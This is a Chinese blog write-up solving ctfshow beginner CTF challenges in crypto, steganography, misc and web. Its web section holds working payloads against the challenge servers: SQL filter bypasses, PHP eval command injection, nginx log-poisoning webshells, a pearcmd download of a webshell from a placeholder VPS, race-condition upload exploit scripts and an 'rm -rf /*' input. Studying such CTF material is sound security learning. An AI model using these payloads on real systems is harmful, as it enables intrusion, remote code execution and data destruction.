【ctfshow】萌新

萌新

萌新认证

提交萌新码完成萌新认证,一大波隐藏题目正在赶来。
萌新码需在群内召唤(喊一下就可以了)

加个群,然后发一个==萌新码==,然后就,就,就离谱

image-20220417182426285

不慌,直接聊天记录里搜一下:

image-20220417182601639

没事,得到flag:==f426d289bde96c16e9f8e2a314ef88b1==

萌新_密码1

密文:
53316C6B5A6A42684D3256695A44566A4E47526A4D5459774C5556375A6D49324D32566C4D4449354F4749345A6A526B4F48303D
提交格式:KEY{XXXXXXXXXXXXXX}
工具下载:https://www.lanzoui.com/i9fn2aj

先观察密文,发现最大字符是F,猜测是16进制,另一方面这个附件也给出了部分提示:

image-20220417183045913

先16进制转化一下:网址

image-20220417183242284

转化后露出了标志性的=号,直接base64解密一下:

image-20220417183625740

发现有{},然后结合上面的那个文件知道是栅栏密码,挨个试偏移量:

image-20220417183849984

得到flag!

萌新_密码2

出题人已累,随便敲了几下键盘。。。 rdcvbg 2qase3 6tghu7
flag格式KEY{XXXXXX}

这个题目之前被套路过,查看下键盘看一下那几个键位置就知道了。。。空格是间隔,连续的字符围住了一个字母,将三个字母连接起来就可以了。

注意上面给出了flag的格式:==KEY{fwy}==

萌新 密码3

题目名称:我想吃培根 题目描述: -- --- .-. ... . ..--.- .. ... ..--.- -.-. --- --- .-.. ..--.- -... ..- - ..--.- -... .- -.-. --- -. ..--.- .. ... ..--.- -.-. --- --- .-.. . .-. ..--.- -- -- -.. -.. -- -.. -- -.. -- -- -- -.. -.. -.. /-- -.. -- -.. -.. --/ -- -- -- -- -- /-- -.. -.. -- -.. -- /-- -.. -.. -- 格式:flag{***********}
<!--解密工具下载 链接:https://pan.baidu.com/s/10_35gRb3S6eGW-4MLyJRuA 提取码:1a3f-->

这个题不看提示也能猜到不是摩斯密码就是培根密码,摩斯密码解密一下:

image-20220417185057970

从结果来看这个解密是对的,那么将上面奇怪的/去掉再替换字符

image-20220417185828771

image-20220417190039413

培根解密:

image-20220417190206188

看结果就感觉很靠谱,按照格式提交,结果错误,转换一下,将字符大写提交,正确==flag{GUOWANG}==

萌新 隐写2

只给了一个文件!

下载文件,发现有密码,直接丢到archpr爆破一下,没爆破出来,看一下hint:

image-20220417191059079

先猜测是伪加密,全局方式位标记的四个数字中只有第二个数字对其有影响,其它的不管为何值,都不影响它的加密属性!

image-20220417192432279

第二个数字为奇数时 –>加密
第二个数字为偶数时 –>未加密

将上面0108改成0008即可解压:然后就:

image-20220417194017729

我裂开,果断选择爆破:(这里换了个工具,之前那个工具重新设置一下也是可以的)

image-20220417194936214

打开压缩包里的文本,得到flag==flag{brute_force}==

萌新 隐写4

图片这么好看,但是没啥用呦

打开附件的 doc文件:

image-20220530165730371

应该不至于存图片然后zsteg。。。。看看有没有隐藏文字的选项:

image-20220530165930492

得到flag!!!

萌新 密码#4

QW8obWdIWF5FKUFSQW5URihKXWZAJmx0OzYiLg==

第一反应是 base64:

image-20220530170334328

得到:

Ao(mgHX^E)ARAnTF(J]f@<6".
#<是转义符号,应该是<,替换得到
#Ao(mgHX^E)ARAnTF(J]f@<6".

没办法,求助hint了:

比base64还大的base
推荐网站 http://www.nicetool.net/tag/base/
PS:做题时候发现现在已经变成https://www.tooleyes.com/了!!

挨个试,或者使用别人写好的工具:

#咸水鱼师傅写的base解密脚本!!!!详细可以看:https://zhuanlan.zhihu.com/p/454458711
#encoding=utf-8
import base36
import base58
import base62
import base64
import base91
import py3base92 #由于python3不兼容base92,此为github上的一个项目
import base128

'''
txt=b"123456"

b128 = base128.base128(chars = None, chunksize = 7)  
base128_encode=list(b128.encode(txt))
base128_decode=b''.join(b128.decode(base128_encode))
print(base128_decode)
'''

def encode(txt):
    print("[+]input is ", end="")
    print(txt)

    print("==============================================================================")
    #base16
    print("[成功]base16 encode: ", end="")
    print(base64.b16encode(txt))

    #base32
    print("[成功]base32 encode: ", end="")
    print(base64.b32encode(txt))

    #base36
    try:
        base36_m_str = bytes.decode(txt)
        base36_m_int = int(base36_m_str)

        base36_cipher = base36.dumps(base36_m_int)
        print("[成功]base36 encode: ", end="")
        print(base36_cipher)
    except Exception as e:
        print("[失败]base36 encode: ", end="")
        print("base36加密只支持整数数字")

    #base58
    print("[成功]base58 encode: ", end="")
    print(base58.b58encode(txt))

    #base62
    print("[成功]base62 encode: ", end="")
    print(base62.encodebytes(txt))

    #base64
    print("[成功]base64 encode: ", end="")
    print(base64.b64encode(txt))

    #base85
    print("[成功]base85 encode: ", end="")
    print(base64.b85encode(txt))

    #base91
    print("[成功]base91 encode: ", end="")
    print(base91.encode(txt))

    #base92
    print("[成功]base92 encode: ", end="")
    print(py3base92.encode(txt))

    #base128
    # b128 = base128.base128(chars = None, chunksize = 7)
    # print("[成功]base128 encode: ", end="")
    # print(list(b128.encode(txt)))

def decode(txt):
    print("[+]input is ", end="")
    print(txt)
    print("==============================================================================")

    #base16
    try:
        base16_decode = base64.b16decode(txt)
        print("[成功]base16 decode: ", end="")
        print(base16_decode)
        print()
    except Exception as e:
        print("[失败]base16 decode: ", end="")
        print(e)

    #base32
    try:
        base32_decode = base64.b32decode(txt)
        print("[成功]base32 decode: ", end="")
        print(base32_decode)
        print()
    except Exception as e:
        print("[失败]base32 decode: ", end="")
        print(e)

    #base36
    try:
        base36_decode = base36.loads(txt)
        print("[成功]base36 decode: ", end="")
        print(base36_decode)
        print()
    except Exception as e:
        print("[失败]base36 decode: ", end="")
        print(e)

    #base58
    try:
        base58_decode = base58.b58decode(txt)
        print("[成功]base58 decode: ", end="")
        print(base58_decode)
        print()
    except Exception as e:
        print("[失败]base58 decode: ", end="")
        print(e)

    #base62
    try:
        base62_c_string = bytes.decode(txt)
        base62_decode = base62.decodebytes(base62_c_string)
        print("[成功]base62 decode: ", end="")
        print(base62_decode)
        print()
    except Exception as e:
        print("[失败]base62 decode: ", end="")
        print(e)

    #base64
    try:
        base64_decode = base64.b64decode(txt)
        print("[成功]base64 decode: ", end="")
        print(base64_decode)
        print()
    except Exception as e:
        print("[失败]base64 decode: ", end="")
        print(e)

    #base85
    try:
        base85_decode = base64.a85decode(txt).decode()
        print("[成功]base85 decode: ", end="")
        print(base85_decode)
        print()
    except Exception as e:
        print("[失败]base85 decode: ", end="")
        print(e)

    #base91
    try:
        base91_decode = base91.decode(str(txt, encoding="utf-8")).decode()
        print("[成功]base91 decode: ", end="")
        print(base91_decode)
        print()
    except Exception as e:
        print("[失败]base91 decode: ", end="")
        print(e)

    #base92
    try:
        base92_decode = py3base92.decode(str(txt, encoding="utf-8"))
        print("[成功]base92 decode: ", end="")
        print(base92_decode)
        print()
    except Exception as e:
        print("[-]base92 decode: ", end="")
        print(e)

    #base128
    # try:
    #     b128 = base128.base128(chars = None, chunksize = 7)
    #     print(type(txt))
    #     txt=list(bytes(txt))#byte转list
    #     print(type(txt))
    #     base128_decode = b''.join(b128.decode(txt))
    #     print("[成功]base128 decode: ", end="")
    #     print(base128_decode)
    #     print()
    # except Exception as e:
    #     print("[-]base128 decode: ", end="")
    #     print(e)
if __name__ == '__main__':
    print("Welcome to base series encode and decode")
    txt = input("Please input your string ::: ")

    txt = str.encode(txt)
    flag = input("Please input encode(1) or decode(回车) ::: ")

    if(flag == "1"):
        encode(txt)
    else:
        decode(txt)

最后解密得到:

image-20220530173926826

萌新 隐写3

image-20220530213114037

人左边就是flag!!!!

杂项1

小明想给心爱的妹子表白很久,可是不知道怎么开口,你能帮帮小明吗?
已知 md5(表白的话+ctf)=ed400fbcff269bd9c65292a97488168a
提交flag{表白的话}

使用这个宝藏网站:https://www.somd5.com/

image-20220530214018831

故 flag为:==flag{hello}==

杂项2

小明终于找到了萌新码,开始了自己的CTF冒险征程

打开压缩包,发现:

image-20220530214257325

丢到winhex看一下有没有隐藏信息:

image-20220530214349679

得到flag:==flag{ctfshow_im_coming}==

萌新 杂项3

大家好我是小萌新羽,前不久我的一个朋友给我了一张银行卡,他说里面有一大笔钱,但是他只告诉我他的生日是九七年十月一日,你能帮我猜猜他的银行卡密码是多少吗,哦对,这个朋友有个小名叫小五。
flag格式:flag{银行卡密码}

我没啥好方法,直接硬猜971001,结果不对,猜测其他组合也不对,别的师傅写的是因为谐音梗,xiaowu=15得到971015。。。。

杂项4

小明心爱的图片在压缩包中,可是小明夜深人静的时候,孤枕难眠,想打开图片排遣寂寞,可是忘记了密码了,小米依稀记得9位的密码都是数字,前3位是372,你能帮助小明吗?
flag{372XXXXXX}

附件是一个有密码的zip文件:

image-20220530220110288

得到密码,打开获得flag!flag{ctfshow_good}

flag是题目给的那个==flag{372609038}==

杂项5

小明如愿以偿的打开了压缩包,可是眼前的文字自己只能认识FBI,其他的都不认识,而且屏幕出现了一句话,你能帮小明找到这句话的意思吗?

打开文件:

小明如愿以偿的打开了压缩包,可是眼前的文字自己只能认识FBI,其他的都不认识,而且屏幕出现了一句话,你能帮小明找到这句话的意思吗?
FBI    No under 18

i was always Fond of visiting new scenes, and observing strange characters and manners. even when a mere chiLd i began my travels, and made mAny tours of discovery into foreiGn {parts and unknown regions of my native City, to the frequent alarm of my parents, and The emolument of the town-crier. as i grew into boyhood, i extended the range oF my obServations. my holiday afternoons were spent in rambles about tHe surrounding cOuntry. i made myself familiar With all its places famous in history or fable. i kNew every spot where a murder or robbery had been committed, or a ghost seen. i visited the neighboring villages, and added greatly to my stock of knowledge,By noting their habits and customs, and conversing with their sages and great men.}

可以看到有一些大写字母,采集出来得到:(下面是 i_kei 师傅的脚本,利用正则筛选)

# i_kei
# 2021/1/10 14:02
import re
string = 'i was always Fond of visiting new scenes, and observing strange characters and manners. even when a mere chiLd i began my travels, and made mAny tours of discovery into foreiGn {parts and unknown regions of my native City, to the frequent alarm of my parents, and The emolument of the town-crier. as i grew into boyhood, i extended the range oF my obServations. my holiday afternoons were spent in rambles about tHe surrounding cOuntry. i made myself familiar With all its places famous in history or fable. i kNew every spot where a murder or robbery had been committed, or a ghost seen. i visited the neighboring villages, and added greatly to my stock of knowledge,By noting their habits and customs, and conversing with their sages and great men.}'

result = ''.join(re.findall(r'[A-Z\{\}]',string))
print(result)

==FLAG{CTFSHOWNB}==

杂项6

小明的压缩包又忘记密码了?他去电脑维修店去修,人家扔出来说这个根本就没有密码,是个假密码。小明懵了,明明有密码的啊,你能帮帮小明吗?

本题考查伪加密,winhex打开更改一下就可以了:

image-20220531124250380

得到flag:==flag{c_t_f_s_h_o_w}==

杂项7

小明小心翼翼的打开压缩包,竟然是个图片,什么鬼?
要是图片能继续往长一点该多好啊,小明暗暗的想。
你能帮小明完成这个朴素的梦想吗?

图片就不放了,少儿不宜:

image-20220531125504233

flag:==flag{beautiful}==

这里看到i_kei师傅更原理性的解答,详情可以参看https://blog.csdn.net/i_kei/article/details/112412941#7_194

先用 16 进制编辑器找到图片的src,然后进行爆破:

img

#i_kei
import struct
import binascii
import os

m = open("flag.png","rb").read()
k=0
for i in range(5000):
    if k==1:
        break
    for j in range(5000):
        c = m[12:16] + struct.pack('>i', i) + struct.pack('>i', j)+m[24:29]
        crc = binascii.crc32(c) & 0xffffffff
        if crc == 0x889C2F07:
            k = 1
            print(hex(i),hex(j))
            break

算出正确的宽和高:

image-20220531130734789

修改长度即可!

杂项8

小明看完图片老脸一红,心想,我女朋友能有这么瘦就好了。

image-20220531130907161

这肯定是宽度太大了,按照上面的再来一次就行了,得到flag!

image-20220531131138432

杂项10

小明决定不看小姐姐了,摘掉800度的眼镜,望向这个图片。

image-20220531131305824

一看题目就知道不是那种正经题目,我是一脸懵逼的,没有近视,麻了,眯着眼睛看好像是我好喜欢你,提交正确。。。(注意格式)

杂项11

小明:怎么又说我???

打开照片:

image-20220531132320832

使用给的那个Jphswin工具,点击seek,选一个保存路径。

image-20220531203936652

保存为 a ,linux下看一下是啥文件:

image-20220531204252321

ok,换个后缀名,打开发现是一个二维码:

image-20220531204336412

CQresearch扫一下:

image-20220531204432556

密文是一段base64的,解码一下:

image-20220531204559162

隐写1

小明决定洗心革面学隐写了

我一点击就在标签页打开了,且无法另存为:

image-20220531210150242

经过师傅们的指点我发现了正确方法:

image-20220531210240911

image-20220531210302450

这个才是正解,我是憨批,咋就没想到呢:dog2:

直接打开附件:

image-20220531210425697

用winhex打开附件:

image-20220531210449321

文件头怪怪的:正常应该是89 50 4E 47 0D 0A 1A 0A

改一下得到flag:

image-20220531210619258

隐写2

小明:???

图片是:

image-20220531210800677

太嚣张了,直接上工具:

image-20220531210859901

打开看一下文件格式,就挺突然的。。。。

image-20220531210940616

萌新隐写5

打开看一下附件:

                              _.._        ,------------.
                           ,'      `.   䴀娀圀䜀䌀娀娀䤀一䈀儀圀㘀堀㌀䬀一䘀㈀嘀㘀夀吀嘀䰀㔀㐀圀㘀㌀吀䠀䰀㔀刀䐀䜀䴀匀㜀䘀䔀㴀㴀㴀㴀㴀㴀
                          /  __) __` \    `-,----------'                                                  \\=。=//
                         (  (`-`(-')  ) _.-'
                         /)  \  = /  (
                        /'    |--' .  \
                       (  ,---|  `-.)__`
                        )(  `-.,--'   _`-.
                       '/,'          (  ",
                        (_       ,    `/,-' )
                        `.__,  : `-'/  /`--'
                          |     `--'  |
                          `   `-._   /
                           \        (
                           /\ .      \.  
                          / |` \     ,-\
                         /  \| .)   /   \
                        ( ,'|\    ,'     :
                        | \,`.`--"/      }
                        `,'    \  |,'    /
                       / "-._   `-/      |
                       "-.   "-.,'|     ;
                      /        _/["---'""]
                     :        /  |"-     '
                     '           |      /
                                 `      |

我麻了,这是乱码吧,转化成unicode:

image-20220531211331779

16进制再转化成字符看看:

image-20220531211547597

得到:

MZWGCZZINBQW6X3KNF2V6YTVL54W63THL5RDGMS7FE======\\=0=//

后面那群\\=0=//应该没啥用,去掉,观察字符串,看到最大为7,base32解码一下:

image-20220531211825263

萌新隐写6

附件解码以后是一段音频:

image-20220531214918986

Audacity打开看一下:

image-20220531215207974

有一串神秘的符号,怀疑是莫斯电码,转化一下:

-- ..- --.. .. -.- .. ... --. ----- ----- -..

解密一下:

image-20220531215333344

提交的时候别忘记加上格式哦!

web1

代码很安全,没有漏洞。

打开环境:

<html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
    $id = $_GET['id'];
    # 判断id的值是否大于999
    if(intval($id) > 999){
        # id 大于 999 直接退出并返回错误
        die("id error");
    }else{
        # id 小于 999 拼接sql语句
        $sql = "select * from article where id = $id order by id limit 1 ";
        echo "执行的sql为:$sql<br>";
        # 执行sql 语句
        $result = $conn->query($sql);
        # 判断有没有查询结果
        if ($result->num_rows > 0) {
            # 如果有结果,获取结果对象的值$row
            while($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
            }
        }
        # 关闭数据库连接
        $conn->close();
    }   
}else{
    highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>

flag 在id=1000,但是大于999就会挂,么有过滤,构造绕过:==Atkxor师傅总结的payload==

?id='1000'                                                    #字符串绕过
?id=0b1111101000                                                #二进制绕过
?id=0x38e                                                       #十六进制绕过
?id=~~1000                                                      #两次取反
?id=1000 or 1=1--+                                              #sql注入
?id=100 or id=1000                                              #逻辑绕过
?id=100 || id=1000
?id=500%2b500                                                   # +号的转义符是%2B
?id=900--100
?id=100*10
?id=100/0.1
?id=--1000                                                      #取两次相反数
?id=200^800                                                     #异或

web2

管理员赶紧修补了漏洞,这下应该没问题了吧?
if(preg_match("/or|\+/i",$id)){
            die("id error");
    }

过滤了 or 和 + ;

payload:
?id='1000'                                                    #字符串绕过
?id=0b1111101000                                                #二进制绕过
?id=~~1000                                                      #两次取反
?id=100 || id=1000
?id=900--100
?id=100*10
?id=100/0.1
?id=--1000                                                      #取两次相反数
?id=200^800                                                     #异或

web3

管理员被狠狠的教育了,所以决定好好修复一番。这次没问题了。
if(preg_match("/or|\-|\\|\*|\< |\>|\!|x|hex|\+/i",$id)){
            die("id error");  
    }

过滤了算术运算符:

?id='1000'                                                    #字符串绕过
?id=0b1111101000                                                #二进制绕过
?id=~~1000                                                      #两次取反
?id=100 || id=1000
?id=100*10
?id=100/0.1
?id=200^800                                                     #异或

师傅说的真的欸,说是过滤了*,但是还能用欸!!!!:happy:

web4

管理员阿呆又失败了,这次一定要堵住漏洞
if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }

彻底过滤了算数运算符和select

?id='1000'                                                    #字符串绕过
?id=0b1111101000                                                #二进制绕过
?id=~~1000                                                      #两次取反
?id=100 || id=1000
?id=200^800                                                     #异或

web5

阿呆被老板狂骂一通,决定改掉自己大意的毛病,痛下杀手,修补漏洞。
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }

除了上面的还过滤了||'

?id=0b1111101000                                                #二进制绕过
?id=~~1000                                                      #两次取反
?id=200^800                                                     #异或

web6

阿呆一口老血差点噎死自己,决定杠上了
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }

过滤了^

?id=0b1111101000                                                #二进制绕过
?id=~~1000                                                      #两次取反

web7

阿呆得到最高指示,如果还出问题,就卷铺盖滚蛋,阿呆心在流血。
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }

又过滤了取反~

/?id=0b1111101000    #二进制绕过

web8

阿呆熟悉的一顿操作,去了埃塞尔比亚。
PS:阿呆第一季完,敬请期待第二季!
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){
        if(isset($_GET['flag'])){
                $f = $_GET['flag'];
                if($key===$f){
                        echo $flag;
                }
        }
}else{
    highlight_file(__FILE__);
}
?>

这个真的是没有想到,这里的 config.php 也访问不了,一看wp居然是删库跑路。。。。

?flag=rm -rf /*

web9

阿呆在埃塞俄比亚终于找了一个网管的工作,闲暇时还能种点菜。
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

别被虎到了,并没有对给出的那些函数进行过滤!!!

?c=system('cat config.php');
#?c=highlight_file('config.php');    代码高亮也可以

web10

阿呆看见对面二黑急冲冲的跑过来,告诉阿呆出大事了,阿呆问什么事,二黑说:这几天天旱,你菜死了!
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

过滤掉了systemexechighlight

方法一:其他系统命令执行函数

#php中作为执行系统命令的函数有:
system()
exec()
passthru()
shell_exec()
``
popen()
proc_open()
pcntl_exec()

方法二:拼接字符串

?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');

web11

阿呆听完自己菜死了,自己呆了。决定修好漏洞,绝对不能让自己再菜死了。
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

又过滤掉了cat

cat                                             由第一行开始显示内容,并将所有内容输出
tac                                             从最后一行倒序显示内容,并将所有内容输出
more                                            根据窗口大小,一页一页的现实文件内容
less                                            和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head                                            只显示头几行
tail                                            只显示最后几行
nl                                              类似于cat -n,显示时输出行号
tailf                                           类似于tail -f
sort                                            命令用于将文本文件内容加以排序。
od                                              od指令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来。

方法一:其他命令执行函数

?c=passthru('nl config.php'); 

方法二:拼接字符串:

$a='ca';$b='t';$c=$a.$b;passthru("$c config.php");
#在php语言中单引号串和双引号串的处理是不同的。双引号串中的内容可以被解释而且替换,而单引号串中的内容总被认为是普通字符。
?c=$a='sys';$b='tem';$d=$a.$b;$d('nl config.php');

web12

阿呆不慌不忙的拔掉自己所有的菜,以后自己就不会菜死了。
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

过滤掉了php.config,这样就不能拼接字符串了:

方法一:通配符

?c=passthru('nl *');

方法二:编码绕过(墨子轩、师傅的wp里发现的!!)

$a=base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);

web13

阿呆彻底呆了,阿呆拿起谷姐搜索好久,终于找到更狠的方法。
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

再次过滤掉了file,可以用?>来代替:

?c=passthru('nl *')?>

web14

阿呆忍无可忍了,告诉自己,如果还被攻,自己就跳下去
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

这次过滤掉了(,我真的会谢:

?c=echo `$_POST[a]`?> 
a = cat config.php
#或者payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php

image-20220601145447574

web15

人为什么要活着?难道埃塞俄比亚再无我阿呆容身之处?
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

发现他把>,但是又把;放出来了。。。。。

?c=echo `_POST[a]`;
a=nl *
# include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php

image-20220601150458553

web16

阿呆为了自己的梦想(fulage),决定来一波反向跑路。
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
            echo $flag;
        }else{
            echo "nonono!";
        }
}else{
        highlight_file(__FILE__);
}
?>

在线解密一下:

image-20220601151546675

传入相关参数即可!

当然,编写脚本进行爆破也是一种很不错的方法!!!!

import hashlib
str='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
for i in str:
    for j in str:
        for k in str:
            s = hashlib.md5(('ctfshow'+i+j+k).encode()).hexdigest()
            if s == 'a6f57ae38a22448c2f07f3f95f49c84e':                           
                print(i + j + k)                                                

web17

阿呆终于怀揣自己的梦想来到了故土,凭借着高超的系统垃圾清理(rm -rf /*)技术,很快的阿呆找到了一份程序员工作
<?php
if(isset($_GET['c'])){
       $c=$_GET['c'];
       if(!preg_match("/php/i",$c)){
               include($c);
       }
}else{
        highlight_file(__FILE__);
}

这是一个考察日志包含的题目,访问日志文件:?c=/var/log/nginx/access.log

image-20220601152856617

发现日志文件包含了请求头,利用这一点,抓包改包,传一个几句话木马到请求头上,这样日志等下就会自动执行:

User-Agent: <?php eval($_POST['hack']);?>
#或者像下面这样也可以
User-Agent: <?php system('ls');?>
User-Agent: <?php system('cat 36d.php');?>

蚁剑一连就得到了:(18到21也都可以nginx日志包含一把梭)

image-20220601153729682

web18

阿呆加入了过滤,这下完美了。
<?php
if(isset($_GET['c'])){
       $c=$_GET['c'];
       if(!preg_match("/php|file/i",$c)){
               include($c);
       }
}else{
        highlight_file(__FILE__);
}

web19

用到了解码?果断禁用base,哼

web20

百密一疏,竟然还有个rot

web21

阿呆绝地反击

web22

还能搞,阿呆表示将直播倒立放水

真的玩不来,对着师傅的wp稍微复现了一下,牢牢记住!!!!!详情看:https://blog.csdn.net/qq_46091464/article/details/108954166

<?php
if(isset($_GET['c'])){
       $c=$_GET['c'];
       if(!preg_match("/\:|\/|\\\/i",$c)){
               include($c.".php");
       }
}else{
        highlight_file(__FILE__);
}

这个题目的身份是www用户,无法远程访问默认日志文件

方法一:pearcmd

pear是一个是可重用的PHP组件框架和系统分发
– 为PHP用户提供开源的结构化代码库
– 便于代码的分发和包的维护
– 标准化PHP的编写代码
– 提供PHP的扩展社区库(PECL)
– 通过网站、邮件列表和下载镜像支持PHP/PEAR社区
在pear中有一个pearcmd.php的类,这里传参c值为pearcmd拼接后面的.php后缀,然后进行下一步的操作。下载文件从指定服务器

在VPS上运行简易http服务:

python3 -m http.server 6666
echo "<?php @eval($_POST[hack]);?>" >shell.php
?c=pearcmd&+download+http://A.B.C.D:80/shell.php

获得百分之百的快乐

阿呆开发了自己的博客系统,准备对欺负他的大佬口吐芬芳
<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
     echo shell_exec($_GET[1]);
}
else{
     echo "hack!!!";
}
?>
//by Firebasky
/?1=ls
===>secretsecret_ctfshow_36dddddddddd.php zzz.php
/?1=cat secretsecret_ctfshow_36dddddddddd.php
===>hack!!!
/?1=>nl
/?1=*
===>ctfshow{c5baa666-5097-42a2-bca2-4df1cf1dc12f}

解释一下上面的原理:

  • 首先使用>可以生成一个文件,我们这里使用>s生成一个空的文件名为 s 的文件;
  • 然后往 s 中写入字符后,使用nl a输出。
  • 再使用>nl生成 nl 为文件名的文件,然后使用*通配符
  • 发现会把 s 的文件内容也读取成功了,这是因为*会把 ls 出来的一串文件名按 ls 的顺序读取成一个字符串,然后当做命令执行,也就变成了"nl s"

image-20220601193748803

web23

阿呆觉得最安全的代码就是什么都没有

是个文件上传靶场,传一个一句话木马进去!

image-20220601214326793

上传完一句话木马后,毎刷新一次浏览器,上传的文件名修改一次。

大佬博客里发现了部分源码:

参考:

$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
if (move_uploaded_file($temp_name, 'uploads/'.$new_filename)){
    echo "uploads/$new_filename";
    sleep(1);
    system("rm -rf ./uploads/*.php");
}

大佬的exp:

# coding: utf-8
# Auth: y2hlbmc

import requests
import time
import threading

url = "http://80ba0c8c-5f34-48de-b3e7-e50e7c92937b.challenge.ctf.show/"

def Thread(fun,*args):
    return threading.Thread(target=fun, args=args)

def req(fname):
    r = requests.get(url + "uploads/" + fname + ".php")
    x = r.text
    if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
        print(x)

def Thread_start(fname):
    for i in range(100,400):
        # 每个文件名单起一个线程
        Thread(req, fname + str(i)).start()

def upload():
    while True:
        file_data = {'file':('shell.php',"<?php system(\"ls -l ../\");?>".encode())}
        r = requests.post(url + "upload.php",files=file_data)
        txt = r.text
        print("uploaded:",txt)
        # 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔
        ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
        fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 1))
        # 单起一个线程,爆破下一次upload的文件名
        Thread(Thread_start, fname).start()

if __name__ == '__main__':
    upload()

<?php system(\"ls -l ../\");?>改成<?php system(\"tac ../flaghere0.txt\");?>

web24

相比web23,随机数减少到300,延时增加到3秒。

大佬脚本:

# coding: utf-8
# Auth: y2hlbmc

import requests
import time
import threading

url = "http://7264b272-53fc-402a-975c-f574d3ea6240.challenge.ctf.show:8080/"

def Thread(fun,*args):
    return threading.Thread(target=fun, args=args)

def req(fname):
    r = requests.get(url + "uploads/" + fname + ".php")
    x = r.text
    if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
        print(x)

def Thread_start(fname):
    for i in range(0,300):
        # 每个文件名单起一个线程
        Thread(req, fname + str(i)).start()

def upload():
    while True:
        file_data = {'file':('shell.php',"<?php system(\"ls -l ../\");?>".encode())}
        r = requests.post(url + "upload.php",files=file_data)
        txt = r.text
        print("uploaded:",txt)
        # 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔
        ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
        fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 3))
        # 单起一个线程,爆破下一次upload的文件名
        Thread(Thread_start, fname).start()

if __name__ == '__main__':
    upload()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
